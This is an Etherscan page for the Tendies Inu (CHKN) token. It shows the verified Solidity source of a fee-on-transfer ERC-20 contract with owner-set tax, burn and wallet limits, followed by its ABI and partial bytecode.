ETH Price: $3,391.43 (+6.24%)
Gas: 35 Gwei

Token

Tendies Inu (CHKN)
 

Overview

Max Total Supply

100,000,000,000 CHKN

Holders

90

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TendiesInu

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-26
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
    ) external payable returns (
        uint256 amountToken, uint256 amountETH, uint256 liquidity
    );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
    ) external;
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract TendiesInu is IERC20, Ownable {
    using SafeMath for uint256;
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "Tendies Inu";
    string private constant _symbol = "CHKN";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private constant _totalSupply = 100000000000 * 10**18; // 100 billion
    uint256 private _launchBlockNumber;
    mapping (address => bool) public automatedMarketMakerPairs;
    bool public isLiquidityAdded = false;
    uint256 public maxWalletAmount = _totalSupply;
    uint256 public maxTxAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
    mapping (address => bool) private _isExcludedFromFee;
    uint8 public taxFee = 3;
    uint8 public burnFee = 2;
    address public constant dead = 0x000000000000000000000000000000000000dEaD;
    address public taxWallet;
    uint256 minimumTokensBeforeSwap = _totalSupply * 250 / 1000000; // .025%

    event ClaimETH(uint256 indexed amount);

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        taxWallet = owner();
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        _isExcludedFromMaxTransactionLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxTransactionLimit[address(this)] = true;
        _isExcludedFromMaxTransactionLimit[owner()] = true;
        balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {} // so the contract can receive eth

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance."));
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero."));
        return true;
    }
    function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromMaxWalletLimit[account] != excluded, string.concat(_name, ": account is already excluded from max wallet limit."));
        _isExcludedFromMaxWalletLimit[account] = excluded;
    }
    function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromMaxTransactionLimit[account] != excluded, string.concat(_name, ": account is already excluded from max tx limit."));
        _isExcludedFromMaxTransactionLimit[account] = excluded;
    }
    function excludeFromFees(address account, bool excluded) external onlyOwner {
        require(_isExcludedFromFee[account] != excluded, string.concat(_name, ": account is already excluded from fees."));
        _isExcludedFromFee[account] = excluded;
    }
    function setMaxWalletAmount(uint256 newValue) external onlyOwner {
        require(newValue != maxWalletAmount, string.concat(_name, ": cannot update maxWalletAmount to same value."));
        require(newValue > _totalSupply * 1 / 100, string.concat(_name, ": maxWalletAmount must be >1% of total supply."));
        maxWalletAmount = newValue;
    }
    function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
        require(newValue != maxTxAmount, string.concat(_name, ": cannot update maxTxAmount to same value."));
        require(newValue > _totalSupply * 1 / 1000, string.concat(_name, ": maxTxAmount must be > .1% of total supply."));
        maxTxAmount = newValue;
    }
    function setNewTaxFee(uint8 newValue) external onlyOwner {
        require(newValue != taxFee, string.concat(_name, " : cannot update taxFee to same value."));
        require(newValue <= 5, string.concat(_name, ": cannot update taxFee to value > 5."));
        taxFee = newValue;
    }
    function setNewBurnFee(uint8 newValue) external onlyOwner {
        require(newValue != burnFee, string.concat(_name, ": Cannot update burnFee to same value."));
        require(newValue <= 5, string.concat(_name, ": cannot update burnFee to value > 5."));
        burnFee = newValue;
    }
    function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
        require(newValue != minimumTokensBeforeSwap, string.concat(_name, ": cannot update minimumTokensBeforeSwap to same value."));
        minimumTokensBeforeSwap = newValue;
    }
    function setNewTaxWallet(address newAddress) external onlyOwner {
        require(newAddress != taxWallet, string.concat(_name, ": cannot update taxWallet to same value."));
        taxWallet = newAddress;
    }
    function withdrawETH() external onlyOwner {
        require(address(this).balance > 0, string.concat(_name, ": cannot send more than contract balance."));
        uint256 amount = address(this).balance;
        (bool success,) = address(owner()).call{value : amount}("");
        if (success){ emit ClaimETH(amount); }
    }
    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }
    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "You can only add liquidity once");
        isLiquidityAdded = true;
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
        address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
        uniswapV2Pair = _uniswapV2Pair;
        maxWalletAmount = _totalSupply * 2 / 100; //  2%
        maxTxAmount = _totalSupply * 1 / 100;     //  1%
        _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
        _isExcludedFromMaxTransactionLimit[_uniswapV2Pair] = true;
        _setAutomatedMarketMakerPair(_uniswapV2Pair, true);
        _launchBlockNumber = block.number;
    }
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        require(automatedMarketMakerPairs[pair] != value, string.concat(_name, ": automated market maker pair is already set to that value."));
        automatedMarketMakerPairs[pair] = value;
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(
            address from,
            address to,
            uint256 amount
            ) internal {
        require(from != address(0), string.concat(_name, ": cannot transfer from the zero address."));
        require(to != address(0), string.concat(_name, ": cannot transfer to the zero address."));
        require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero."));
        require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance."));
        if ((block.number - _launchBlockNumber) <= 5) {
            to = address(this);
        }
        if ((from == address(uniswapV2Pair) && !_isExcludedFromMaxTransactionLimit[to]) ||
                (to == address(uniswapV2Pair) && !_isExcludedFromMaxTransactionLimit[from])) {
            require(amount <= maxTxAmount, string.concat(_name, ": transfer amount exceeds the maxTxAmount."));
        }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount."));
        }
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || taxFee + burnFee == 0) {
            balances[from] -= amount;
            balances[to] += amount;
            emit Transfer(from, to, amount);
        } else {
            balances[from] -= amount;
            if (burnFee > 0) {
                balances[address(dead)] += amount * burnFee / 100;
                emit Transfer(from, address(dead), amount * burnFee / 100);
            }
            if (taxFee > 0) {
                balances[address(this)] += amount * taxFee / 100;
                emit Transfer(from, address(this), amount * taxFee / 100);
                if (balanceOf(address(this)) > minimumTokensBeforeSwap &&
                        to == address(uniswapV2Pair) &&
                        !_isExcludedFromMaxTransactionLimit[from])
                {
                    _swapTokensForETH(balanceOf(address(this)));
                    payable(taxWallet).transfer(address(this).balance);
                }
            }
            balances[to] += amount - (amount * (taxFee + burnFee) / 100);
            emit Transfer(from, to, amount - (amount * (taxFee + burnFee) / 100));
        }
    }
    function _swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ClaimETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dead","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransactionLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isLiquidityAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMinimumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newValue","type":"uint8"}],"name":"setNewBurnFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newValue","type":"uint8"}],"name":"setNewTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setNewTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007805460ff191690556c01431e0fae6d7217caa000000060088190556009819055600d805461ffff1916610203179055620f424090620000479060fa620001a7565b620000539190620001d5565b600e553480156200006357600080fd5b5060008054336001600160a01b03199182168117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155600d805462010000600160b01b031916620100008402179055908352600c60209081526040808520805460ff19908116851790915530808752828720805483168617905584546001600160a01b039081168852600a8552838820805484168717905581885283882080548416871790558754811688528388208054841687179055855481168852600b855283882080548416871790558188528388208054841687179055875416875282872080549092169094179055828552600382528085206c01431e0fae6d7217caa00000009081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350620001f8565b6000816000190483118215151615620001d057634e487b7160e01b600052601160045260246000fd5b500290565b600082620001f357634e487b7160e01b600052601260045260246000fd5b500490565b612c9480620002086000396000f3fe6080604052600436106102085760003560e01c80637f13eb0a11610118578063aee50b1e116100a0578063dd62ed3e1161006f578063dd62ed3e14610627578063e086e5ec1461066d578063f2fde38b14610682578063fce589d8146106a2578063ff200f6c146106c157600080fd5b8063aee50b1e14610597578063b62496f5146105b7578063c0246668146105e7578063d3155bce1461060757600080fd5b806395d89b41116100e757806395d89b41146104fa578063a071dcf414610527578063a457c2d714610541578063a9059cbb14610561578063aa4bde281461058157600080fd5b80637f13eb0a14610486578063880bcbc1146104a65780638c0b5e22146104c65780638da5cb5b146104dc57600080fd5b806327a14fc21161019b578063395093511161016a57806339509351146103db57806349bd5a5e146103fb57806370a082311461041b578063715018a614610451578063781edb3c1461046657600080fd5b806327a14fc21461035d5780632dc0562d1461037d578063313ce567146103a357806336cf7c87146103c557600080fd5b806318160ddd116101d757806318160ddd146102d95780631e17ba39146103035780631e293c101461031d57806323b872dd1461033d57600080fd5b806306fdde0314610214578063095ea7b31461025a5780630bd05b691461028a5780631694505e146102a157600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5060408051808201909152600b81526a54656e6469657320496e7560a81b60208201525b60405161025191906121ae565b60405180910390f35b34801561026657600080fd5b5061027a6102753660046121f9565b6106e1565b6040519015158152602001610251565b34801561029657600080fd5b5061029f6106f7565b005b3480156102ad57600080fd5b506001546102c1906001600160a01b031681565b6040516001600160a01b039091168152602001610251565b3480156102e557600080fd5b506c01431e0fae6d7217caa00000005b604051908152602001610251565b34801561030f57600080fd5b5060075461027a9060ff1681565b34801561032957600080fd5b5061029f610338366004612225565b610aba565b34801561034957600080fd5b5061027a61035836600461223e565b610bda565b34801561036957600080fd5b5061029f610378366004612225565b610c43565b34801561038957600080fd5b50600d546102c1906201000090046001600160a01b031681565b3480156103af57600080fd5b5060125b60405160ff9091168152602001610251565b3480156103d157600080fd5b506102c161dead81565b3480156103e757600080fd5b5061027a6103f63660046121f9565b610d62565b34801561040757600080fd5b506002546102c1906001600160a01b031681565b34801561042757600080fd5b506102f561043636600461227f565b6001600160a01b031660009081526003602052604090205490565b34801561045d57600080fd5b5061029f610d98565b34801561047257600080fd5b5061029f61048136600461229c565b610dd4565b34801561049257600080fd5b5061029f6104a13660046122da565b610ead565b3480156104b257600080fd5b5061029f6104c136600461229c565b610fd8565b3480156104d257600080fd5b506102f560095481565b3480156104e857600080fd5b506000546001600160a01b03166102c1565b34801561050657600080fd5b5060408051808201909152600481526321a425a760e11b6020820152610244565b34801561053357600080fd5b50600d546103b39060ff1681565b34801561054d57600080fd5b5061027a61055c3660046121f9565b6110af565b34801561056d57600080fd5b5061027a61057c3660046121f9565b6110fe565b34801561058d57600080fd5b506102f560085481565b3480156105a357600080fd5b5061029f6105b2366004612225565b61110b565b3480156105c357600080fd5b5061027a6105d236600461227f565b60066020526000908152604090205460ff1681565b3480156105f357600080fd5b5061029f61060236600461229c565b6111a2565b34801561061357600080fd5b5061029f6106223660046122da565b61127b565b34801561063357600080fd5b506102f56106423660046122fd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561067957600080fd5b5061029f611394565b34801561068e57600080fd5b5061029f61069d36600461227f565b6114c2565b3480156106ae57600080fd5b50600d546103b390610100900460ff1681565b3480156106cd57600080fd5b5061029f6106dc36600461227f565b611574565b60006106ee338484611655565b50600192915050565b6000546001600160a01b0316331461072a5760405162461bcd60e51b81526004016107219061232b565b60405180910390fd5b60075460ff161561077d5760405162461bcd60e51b815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e6365006044820152606401610721565b6007805460ff1916600190811790915580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107cc30826c01431e0fae6d7217caa0000000611655565b6001546001600160a01b031663f305d71947306107fe816001600160a01b031660009081526003602052604090205490565b6000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561086a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061088f919061236c565b5050506000600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090b919061239a565b6001600160a01b031663e6a4390530600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610991919061239a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a00919061239a565b600280546001600160a01b0319166001600160a01b038316178155909150606490610a39906c01431e0fae6d7217caa0000000906123cd565b610a4391906123ec565b6008556064610a606c01431e0fae6d7217caa000000060016123cd565b610a6a91906123ec565b6009556001600160a01b0381166000908152600a602090815260408083208054600160ff199182168117909255600b9093529220805490911682179055610ab2908290611744565b505043600555565b6000546001600160a01b03163314610ae45760405162461bcd60e51b81526004016107219061232b565b6009548114156040518060400160405280600b81526020016a54656e6469657320496e7560a81b815250604051602001610b1e919061240e565b60405160208183030381529060405290610b4b5760405162461bcd60e51b815260040161072191906121ae565b506103e8610b676c01431e0fae6d7217caa000000060016123cd565b610b7191906123ec565b81116040518060400160405280600b81526020016a54656e6469657320496e7560a81b815250604051602001610ba79190612462565b60405160208183030381529060405290610bd45760405162461bcd60e51b815260040161072191906121ae565b50600955565b6000610be78484846117f3565b610c398433610c3485604051806060016040528060298152602001612bf0602991396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611f84565b611655565b5060019392505050565b6000546001600160a01b03163314610c6d5760405162461bcd60e51b81526004016107219061232b565b6008548114156040518060400160405280600b81526020016a54656e6469657320496e7560a81b815250604051602001610ca791906124b8565b60405160208183030381529060405290610cd45760405162461bcd60e51b815260040161072191906121ae565b506064610cef6c01431e0fae6d7217caa000000060016123cd565b610cf991906123ec565b81116040518060400160405280600b81526020016a54656e6469657320496e7560a81b815250604051602001610d2f9190612510565b60405160208183030381529060405290610d5c5760405162461bcd60e51b815260040161072191906121ae565b50600855565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916106ee918590610c349086611fbe565b6000546001600160a01b03163314610dc25760405162461bcd60e51b81526004016107219061232b565b600080546001600160a01b0319169055565b6000546001600160a01b03163314610dfe5760405162461bcd60e51b81526004016107219061232b565b6001600160a01b0382166000908152600a60209081526040918290205482518084018452600b81526a54656e6469657320496e7560a81b81840152925160ff9091161515841515141592610e5492909101612568565b60405160208183030381529060405290610e815760405162461bcd60e51b815260040161072191906121ae565b506001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ed75760405162461bcd60e51b81526004016107219061232b565b600d60019054906101000a900460ff1660ff168160ff1614156040518060400160405280600b81526020016a54656e6469657320496e7560a81b815250604051602001610f2491906125c6565b60405160208183030381529060405290610f515760405162461bcd60e51b815260040161072191906121ae565b5060058160ff1611156040518060400160405280600b81526020016a54656e6469657320496e7560a81b815250604051602001610f8e9190612616565b60405160208183030381529060405290610fbb5760405162461bcd60e51b815260040161072191906121ae565b50600d805460ff9092166101000261ff0019909216919091179055565b6000546001600160a01b031633146110025760405162461bcd60e51b81526004016107219061232b565b6001600160a01b0382166000908152600b602081815260409283902054835180850185529283526a54656e6469657320496e7560a81b83830152925160ff9093161515841515141592611056929101612665565b604051602081830303815290604052906110835760405162461bcd60e51b815260040161072191906121ae565b506001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60006106ee3384610c3485604051806060016040528060268152602001612c39602691393360009081526004602090815260408083206001600160a01b038d1684529091529020549190611f84565b60006106ee3384846117f3565b6000546001600160a01b031633146111355760405162461bcd60e51b81526004016107219061232b565b600e548114156040518060400160405280600b81526020016a54656e6469657320496e7560a81b81525060405160200161116f91906126bf565b6040516020818303038152906040529061119c5760405162461bcd60e51b815260040161072191906121ae565b50600e55565b6000546001600160a01b031633146111cc5760405162461bcd60e51b81526004016107219061232b565b6001600160a01b0382166000908152600c60209081526040918290205482518084018452600b81526a54656e6469657320496e7560a81b81840152925160ff90911615158415151415926112229290910161271f565b6040516020818303038152906040529061124f5760405162461bcd60e51b815260040161072191906121ae565b506001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112a55760405162461bcd60e51b81526004016107219061232b565b600d54604080518082018252600b81526a54656e6469657320496e7560a81b602080830191909152915160ff85811694169390931415926112e69201612771565b604051602081830303815290604052906113135760405162461bcd60e51b815260040161072191906121ae565b5060058160ff1611156040518060400160405280600b81526020016a54656e6469657320496e7560a81b81525060405160200161135091906127c1565b6040516020818303038152906040529061137d5760405162461bcd60e51b815260040161072191906121ae565b50600d805460ff191660ff92909216919091179055565b6000546001600160a01b031633146113be5760405162461bcd60e51b81526004016107219061232b565b600047116040518060400160405280600b81526020016a54656e6469657320496e7560a81b8152506040516020016113f6919061280f565b604051602081830303815290604052906114235760405162461bcd60e51b815260040161072191906121ae565b504760006114396000546001600160a01b031690565b6001600160a01b03168260405160006040518083038185875af1925050503d8060008114611483576040519150601f19603f3d011682016040523d82523d6000602084013e611488565b606091505b5050905080156114be5760405182907fd8c61d370587e52fdbf5b953deefd03b3e3c32279e15018f0cf776427da990c990600090a25b5050565b6000546001600160a01b031633146114ec5760405162461bcd60e51b81526004016107219061232b565b6001600160a01b0381166115525760405162461bcd60e51b815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526632323932b9b99760c91b6064820152608401610721565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461159e5760405162461bcd60e51b81526004016107219061232b565b600d60029054906101000a90046001600160a01b03166001600160a01b0316816001600160a01b031614156040518060400160405280600b81526020016a54656e6469657320496e7560a81b8152506040516020016115fd9190612862565b6040516020818303038152906040529061162a5760405162461bcd60e51b815260040161072191906121ae565b50600d80546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b6001600160a01b0383166116b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610721565b6001600160a01b0382166117185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610721565b6001600160a01b0392831660009081526004602090815260408083209490951682529290925291902055565b6001600160a01b0382166000908152600660209081526040918290205482518084018452600b81526a54656e6469657320496e7560a81b81840152925160ff909116151584151514159261179a929091016128b4565b604051602081830303815290604052906117c75760405162461bcd60e51b815260040161072191906121ae565b506001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60006001600160a01b0316836001600160a01b031614156040518060400160405280600b81526020016a54656e6469657320496e7560a81b81525060405160200161183e919061291b565b6040516020818303038152906040529061186b5760405162461bcd60e51b815260040161072191906121ae565b5060006001600160a01b0316826001600160a01b031614156040518060400160405280600b81526020016a54656e6469657320496e7560a81b8152506040516020016118b7919061296d565b604051602081830303815290604052906118e45760405162461bcd60e51b815260040161072191906121ae565b50600081116040518060400160405280600b81526020016a54656e6469657320496e7560a81b81525060405160200161191d91906129bd565b6040516020818303038152906040529061194a5760405162461bcd60e51b815260040161072191906121ae565b506001600160a01b0383166000908152600360205260409020548111156040518060400160405280600b81526020016a54656e6469657320496e7560a81b81525060405160200161199b9190612a13565b604051602081830303815290604052906119c85760405162461bcd60e51b815260040161072191906121ae565b50600580546119d79043612a61565b116119e0573091505b6002546001600160a01b038481169116148015611a1657506001600160a01b0382166000908152600b602052604090205460ff16155b80611a5257506002546001600160a01b038381169116148015611a5257506001600160a01b0383166000908152600b602052604090205460ff16155b15611ac0